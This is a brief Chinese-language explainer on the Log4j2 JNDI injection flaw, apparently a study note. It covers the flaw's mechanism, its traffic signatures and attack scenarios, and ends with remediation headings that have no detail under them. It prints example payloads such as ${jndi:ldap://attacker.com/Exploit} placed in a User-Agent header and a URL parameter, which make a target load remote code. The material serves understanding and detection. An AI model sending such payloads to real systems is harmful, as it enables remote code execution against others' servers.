log4j2漏洞
Log4j2 漏洞概述
Log4j2 是 Apache 软件基金会开发的一个日志框架,广泛用于 Java 应用中记录运行时日志。漏洞主要源于 Log4j2 的日志处理功能中,某些特性(如 JNDI 注入)被攻击者滥用,从而引发严重的远程代码执行(RCE)漏洞。
漏洞原理
Apache Log4j2 的 JNDI Lookup 功能允许通过
日志消息
中的 JNDI 名称引用外部资源。攻击者可以构造包含恶意 JNDI 名称的日志消息,通过网络发送给受影响的应用程序。当 Log4j2 解析日志消息时,会尝试加载远程恶意脚本,从而RCE漏洞产生
JNDI 注入
JNDI(Java Naming and Directory Interface)
是 Java 提供的一种目录服务 API,用于查找和加载资源或对象。
Log4j2 在日志功能中支持动态解析类似
${}
的占位符字符串,提供了强大的灵活性。
当日志字符串中包含
${jndi:ldap://malicious-server}
时,Log4j2 会尝试通过 JNDI 去远程加载资源。如果目标是攻击者控制的恶意 LDAP 服务器,则攻击者可以返回恶意的 Java 类字节码,导致远程代码执行。
漏洞触发过程
1.
攻击者构造一个恶意日志字符串,例如:
${jndi:ldap://attacker.com/Exploit}
2.
该字符串被传递到应用程序的日志处理逻辑(例如
logger.info()
)。
3.
Log4j2 解析日志字符串中的 JNDI 表达式,尝试通过 LDAP 或其他协议加载远程对象。
4.
如果恶意服务器返回一个恶意 Java 类文件,Log4j2 会加载并执行该类的字节码,触发 RCE。
流量特征
请求头中的useragent头或者是referer或含有包含
${jndi:...}
的形式,后续跟上攻击者控制的远程服务器地址,还有一些协议协议关键字,例如ldap:// , rmi:// , dns://
HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等,可能还有有一些恶意的密文
攻击成功后可能会有,“JNDI lookup successful”,
${env:os.name}
、
${env:hostname}
等动态信息
漏洞利用方式
常见的攻击场景
1.
通过 HTTP 请求头
: 攻击者将恶意字符串注入到 HTTP 请求头(如
User-Agent
、
Referer
)中。例如:
GET / HTTP/1.1 Host: victim.com User-Agent: ${jndi:ldap://attacker.com/Exploit}
2.
通过 HTTP 请求参数
: 恶意字符串被注入到 URL 参数中。例如:
http://victim.com/search?query=${jndi:ldap://attacker.com/Exploit}
4. 漏洞修复
1.
升级 Log4j2 版本
:
2.
禁用 JNDI 功能
:
3.
移除
JndiLookup
类
:
4.
升级依赖软件
: